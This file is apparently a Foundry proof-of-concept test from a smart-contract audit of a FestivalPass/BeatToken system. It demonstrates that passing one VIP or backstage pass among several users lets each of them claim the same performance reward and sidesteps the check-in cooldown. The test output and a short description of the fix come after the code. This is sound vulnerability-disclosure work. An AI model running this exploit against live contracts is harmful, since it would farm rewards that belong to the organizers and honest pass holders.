pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
import {console} from "forge-std/console.sol";
 * @title Pass Lending Reward Multiplication PoC
 * @dev Demonstrates how single pass can generate unlimited rewards across multiple users
 *      through strategic pass transfers and coordinated attendance
 * 
 * VULNERABILITY: No ownership tracking during attendance
 *   - hasPass() only checks current balance at time of attendance
 *   - attendPerformance() tracks attendance per user, not per pass
 *   - Single pass can be transferred between users for unlimited reward farming
 * 
 * ATTACK VECTOR:
 *   1. Alice buys 1 VIP pass and attends performance → earns 2x rewards
 *   2. Alice transfers pass to Bob 
 *   3. Bob attends same performance → earns 2x rewards  
 *   4. Bob transfers pass to Charlie → Charlie attends → repeat
 *   5. Single pass generates unlimited rewards across unlimited users
 */
contract PassLendingExploitPoC is Test {
    FestivalPass public festivalPass;
    BeatToken public beatToken;
    
    address public owner;
    address public organizer;
    address public alice;
    address public bob;
    address public charlie;
    address public dave;
    
    
    uint256 constant VIP_PRICE = 0.1 ether;
    uint256 constant VIP_MAX_SUPPLY = 1000;
    uint256 constant VIP_PASS = 2;
    uint256 constant VIP_MULTIPLIER = 2; 
    
    uint256 public performanceId;
    uint256 constant BASE_REWARD = 100e18;
    uint256 constant EXPECTED_VIP_REWARD = BASE_REWARD * VIP_MULTIPLIER; 
    
    function setUp() public {
        owner = makeAddr("owner");
        organizer = makeAddr("organizer");
        alice = makeAddr("alice");
        bob = makeAddr("bob");
        charlie = makeAddr("charlie");
        dave = makeAddr("dave");
        
        
        vm.startPrank(owner);
        beatToken = new BeatToken();
        festivalPass = new FestivalPass(address(beatToken), organizer);
        beatToken.setFestivalContract(address(festivalPass));
        vm.stopPrank();
        
        
        vm.prank(organizer);
        festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
        
        
        vm.prank(organizer);
        performanceId = festivalPass.createPerformance(
            block.timestamp + 1 hours,  
            4 hours,                     
            BASE_REWARD                  
        );
        
        
        vm.deal(alice, 1 ether);
    }
    
    function testSinglePassMultipleRewards() public {
        console.log("=== PASS LENDING REWARD MULTIPLICATION EXPLOIT ===\n");
        
        
        console.log("--- Setup: Alice buys 1 VIP pass ---");
        vm.prank(alice);
        festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
        
        console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS));
        console.log("Alice BEAT balance (welcome bonus):", beatToken.balanceOf(alice));
        
        
        vm.warp(block.timestamp + 2 hours);
        console.log("\n--- Performance starts, exploitation begins ---");
        
        
        console.log("STEP 1: Alice attends performance");
        vm.prank(alice);
        festivalPass.attendPerformance(performanceId);
        
        uint256 aliceReward = beatToken.balanceOf(alice) - 5e18; 
        console.log("Alice attendance reward:", aliceReward);
        console.log("Alice has attended:", festivalPass.hasAttended(performanceId, alice));
        
        
        console.log("\nSTEP 2: Alice transfers VIP pass to Bob");
        vm.prank(alice);
        festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, "");
        
        console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS));
        console.log("Bob VIP balance:", festivalPass.balanceOf(bob, VIP_PASS));
        console.log("Bob has pass:", festivalPass.hasPass(bob));
        
        
        console.log("\nSTEP 3: Bob attends SAME performance with transferred pass");
        vm.prank(bob);
        festivalPass.attendPerformance(performanceId);
        
        uint256 bobReward = beatToken.balanceOf(bob);
        console.log("Bob attendance reward:", bobReward);
        console.log("Bob has attended:", festivalPass.hasAttended(performanceId, bob));
        
        
        console.log("\nSTEP 4: Bob transfers VIP pass to Charlie");
        vm.prank(bob);
        festivalPass.safeTransferFrom(bob, charlie, VIP_PASS, 1, "");
        
        
        console.log("\nSTEP 5: Charlie attends SAME performance");
        vm.prank(charlie);
        festivalPass.attendPerformance(performanceId);
        
        uint256 charlieReward = beatToken.balanceOf(charlie);
        console.log("Charlie attendance reward:", charlieReward);
        
        
        console.log("\nSTEP 6: Charlie transfers to Dave");
        vm.prank(charlie);
        festivalPass.safeTransferFrom(charlie, dave, VIP_PASS, 1, "");
        
        vm.prank(dave);
        festivalPass.attendPerformance(performanceId);
        
        uint256 daveReward = beatToken.balanceOf(dave);
        console.log("Dave attendance reward:", daveReward);
        
        
        console.log("\n=== EXPLOITATION RESULTS ===");
        uint256 totalRewards = aliceReward + bobReward + charlieReward + daveReward;
        uint256 legitimateReward = EXPECTED_VIP_REWARD; 
        
        console.log("Total BEAT farmed from 1 pass:", totalRewards);
        console.log("Legitimate reward (1 person):", legitimateReward);
        console.log("Reward multiplication factor:", totalRewards / legitimateReward);
        console.log("Excess BEAT stolen:", totalRewards - legitimateReward);
        
        
        assertEq(aliceReward, EXPECTED_VIP_REWARD, "Alice should get VIP reward");
        assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should get VIP reward"); 
        assertEq(charlieReward, EXPECTED_VIP_REWARD, "Charlie should get VIP reward");
        assertEq(daveReward, EXPECTED_VIP_REWARD, "Dave should get VIP reward");
        assertEq(totalRewards, 4 * legitimateReward, "4x reward multiplication");
        
        
        console.log("\nAttendance tracking per user:");
        console.log("Alice attended:", festivalPass.hasAttended(performanceId, alice));
        console.log("Bob attended:", festivalPass.hasAttended(performanceId, bob));
        console.log("Charlie attended:", festivalPass.hasAttended(performanceId, charlie));
        console.log("Dave attended:", festivalPass.hasAttended(performanceId, dave));
        
        
        console.log("Final pass holder (Dave):", festivalPass.balanceOf(dave, VIP_PASS));
    }
    
    function testLargeScalePassLendingRing() public {
        console.log("=== LARGE-SCALE PASS LENDING RING ===\n");
        
        
        uint256 BACKSTAGE_PRICE = 0.25 ether;
        uint256 BACKSTAGE_PASS = 3;
        uint256 BACKSTAGE_MULTIPLIER = 3;
        
        vm.prank(organizer);
        festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, 100);
        
        vm.deal(alice, 1 ether);
        vm.prank(alice);
        festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
        
        
        vm.startPrank(organizer);
        uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 6 hours, BASE_REWARD);
        uint256 perf2 = festivalPass.createPerformance(block.timestamp + 2 hours, 6 hours, BASE_REWARD);
        vm.stopPrank();
        
        
        address[] memory lendingRing = new address[](10);
        for (uint256 i = 0; i < 10; i++) {
            lendingRing[i] = makeAddr(string(abi.encodePacked("user", i)));
        }
        lendingRing[0] = alice; 
        
        console.log("Lending ring size:", lendingRing.length);
        console.log("BACKSTAGE pass multiplier:", BACKSTAGE_MULTIPLIER);
        console.log("Expected reward per attendance:", BASE_REWARD * BACKSTAGE_MULTIPLIER);
        
        
        vm.warp(block.timestamp + 90 minutes);
        console.log("\n--- Exploiting Performance 1 ---");
        
        for (uint256 i = 0; i < lendingRing.length; i++) {
            address currentUser = lendingRing[i];
            
            
            vm.prank(currentUser);
            festivalPass.attendPerformance(perf1);
            
            uint256 reward = beatToken.balanceOf(currentUser);
            if (i == 0) reward -= 15e18; 
            
            console.log("User", i, "reward:", reward);
            
            
            if (i < lendingRing.length - 1) {
                address nextUser = lendingRing[i + 1];
                vm.prank(currentUser);
                festivalPass.safeTransferFrom(currentUser, nextUser, BACKSTAGE_PASS, 1, "");
            }
        }
        
        
        vm.warp(block.timestamp + 2 hours);
        console.log("\n--- Exploiting Performance 2 ---");
        
        
        address currentHolder = lendingRing[lendingRing.length - 1];
        
        for (uint256 i = 0; i < lendingRing.length; i++) {
            vm.prank(currentHolder);
            festivalPass.attendPerformance(perf2);
            
            
            if (i < lendingRing.length - 1) {
                address nextUser = lendingRing[i];
                vm.prank(currentHolder);
                festivalPass.safeTransferFrom(currentHolder, nextUser, BACKSTAGE_PASS, 1, "");
                currentHolder = nextUser;
            }
        }
        
        
        console.log("\n=== LARGE-SCALE EXPLOITATION RESULTS ===");
        uint256 totalBEATFarmed = 0;
        
        for (uint256 i = 0; i < lendingRing.length; i++) {
            uint256 userBalance = beatToken.balanceOf(lendingRing[i]);
            if (i == 0) userBalance -= 15e18; 
            totalBEATFarmed += userBalance;
            console.log("User", i, "total BEAT:", userBalance);
        }
        
        uint256 legitimateTotal = 2 * BASE_REWARD * BACKSTAGE_MULTIPLIER; 
        console.log("Total BEAT farmed:", totalBEATFarmed);
        console.log("Legitimate total (2 performances, 1 person):", legitimateTotal);
        console.log("Exploitation multiplier:", totalBEATFarmed / legitimateTotal);
        
        assertGe(totalBEATFarmed, legitimateTotal * 10, "Should farm >=10x legitimate rewards");
    }
    
    function testCooldownBypassThroughLending() public {
        console.log("=== COOLDOWN BYPASS THROUGH PASS LENDING ===\n");
        
        
        vm.prank(alice);
        festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
        
        
        vm.startPrank(organizer);
        uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD);
        uint256 perf2 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD);
        vm.stopPrank();
        
        vm.warp(block.timestamp + 90 minutes);
        
        
        console.log("Alice attends performance 1");
        vm.prank(alice);
        festivalPass.attendPerformance(perf1);
        console.log("Alice lastCheckIn:", festivalPass.lastCheckIn(alice));
        
        
        console.log("\nAlice tries performance 2 immediately:");
        vm.prank(alice);
        vm.expectRevert("Cooldown period not met");
        festivalPass.attendPerformance(perf2);
        console.log(" Cooldown protection working");
        
        
        console.log("\nAlice transfers pass to Bob to bypass cooldown");
        vm.prank(alice);
        festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, "");
        
        
        console.log("Bob attends performance 2 immediately:");
        vm.prank(bob);
        festivalPass.attendPerformance(perf2);
        
        uint256 bobReward = beatToken.balanceOf(bob);
        console.log("Bob reward:", bobReward);
        console.log("Bob lastCheckIn:", festivalPass.lastCheckIn(bob));
        
        console.log("\n=== COOLDOWN BYPASS RESULTS ===");
        console.log("Alice could not attend due to cooldown");
        console.log("Bob successfully attended immediately after transfer");
        console.log("Cooldown mechanism bypassed through pass lending");
        
        assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should successfully earn rewards");
        assertEq(festivalPass.lastCheckIn(bob), block.timestamp, "Bob's check-in should be recorded");
    }
}
forge test --match-contract PassLendingExploitPoC -vv
[⠰] Compiling...
[⠃] Compiling 1 files with Solc 0.8.25
[⠊] Solc 0.8.25 finished in 442.56ms
Compiler run successful!
Ran 3 tests for test/PassLendingExploit.t.sol:PassLendingExploitPoC
[PASS] testCooldownBypassThroughLending() (gas: 473221)
Logs:
  === COOLDOWN BYPASS THROUGH PASS LENDING ===
  Alice attends performance 1
  Alice lastCheckIn: 5401
Alice tries performance 2 immediately:
   Cooldown protection working
Alice transfers pass to Bob to bypass cooldown
  Bob attends performance 2 immediately:
  Bob reward: 200000000000000000000
  Bob lastCheckIn: 5401
=== COOLDOWN BYPASS RESULTS ===
  Alice could not attend due to cooldown
  Bob successfully attended immediately after transfer
  Cooldown mechanism bypassed through pass lending
[PASS] testLargeScalePassLendingRing() (gas: 1794585)
Logs:
  === LARGE-SCALE PASS LENDING RING ===
  Lending ring size: 10
  BACKSTAGE pass multiplier: 3
  Expected reward per attendance: 300000000000000000000
--- Exploiting Performance 1 ---
  User 0 reward: 300000000000000000000
  User 1 reward: 300000000000000000000
  User 2 reward: 300000000000000000000
  User 3 reward: 300000000000000000000
  User 4 reward: 300000000000000000000
  User 5 reward: 300000000000000000000
  User 6 reward: 300000000000000000000
  User 7 reward: 300000000000000000000
  User 8 reward: 300000000000000000000
  User 9 reward: 300000000000000000000
--- Exploiting Performance 2 ---
=== LARGE-SCALE EXPLOITATION RESULTS ===
  User 0 total BEAT: 600000000000000000000
  User 1 total BEAT: 600000000000000000000
  User 2 total BEAT: 600000000000000000000
  User 3 total BEAT: 600000000000000000000
  User 4 total BEAT: 600000000000000000000
  User 5 total BEAT: 600000000000000000000
  User 6 total BEAT: 600000000000000000000
  User 7 total BEAT: 600000000000000000000
  User 8 total BEAT: 600000000000000000000
  User 9 total BEAT: 600000000000000000000
  Total BEAT farmed: 6000000000000000000000
  Legitimate total (2 performances, 1 person): 600000000000000000000
  Exploitation multiplier: 10
[PASS] testSinglePassMultipleRewards() (gas: 567999)
Logs:
  === PASS LENDING REWARD MULTIPLICATION EXPLOIT ===
  --- Setup: Alice buys 1 VIP pass ---
  Alice VIP balance: 1
  Alice BEAT balance (welcome bonus): 5000000000000000000
--- Performance starts, exploitation begins ---
  STEP 1: Alice attends performance
  Alice attendance reward: 200000000000000000000
  Alice has attended: true
STEP 2: Alice transfers VIP pass to Bob
  Alice VIP balance: 0
  Bob VIP balance: 1
  Bob has pass: true
STEP 3: Bob attends SAME performance with transferred pass
  Bob attendance reward: 200000000000000000000
  Bob has attended: true
STEP 4: Bob transfers VIP pass to Charlie
STEP 5: Charlie attends SAME performance
  Charlie attendance reward: 200000000000000000000
STEP 6: Charlie transfers to Dave
  Dave attendance reward: 200000000000000000000
=== EXPLOITATION RESULTS ===
  Total BEAT farmed from 1 pass: 800000000000000000000
  Legitimate reward (1 person): 200000000000000000000
  Reward multiplication factor: 4
  Excess BEAT stolen: 600000000000000000000
Attendance tracking per user:
  Alice attended: true
  Bob attended: true
  Charlie attended: true
  Dave attended: true
  Final pass holder (Dave): 1
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.49ms (2.14ms CPU time)
Ran 1 test suite in 4.56ms (2.49ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
The fix implements per-pass attendance tracking to ensure each individual pass can only be used once per performance, regardless of how many times it's transferred between users. This preserves the intended 1-pass-1-reward economics while still allowing legitimate pass transfers for other purposes, preventing coordinated reward multiplication while maintaining the flexibility of the ERC1155 standard.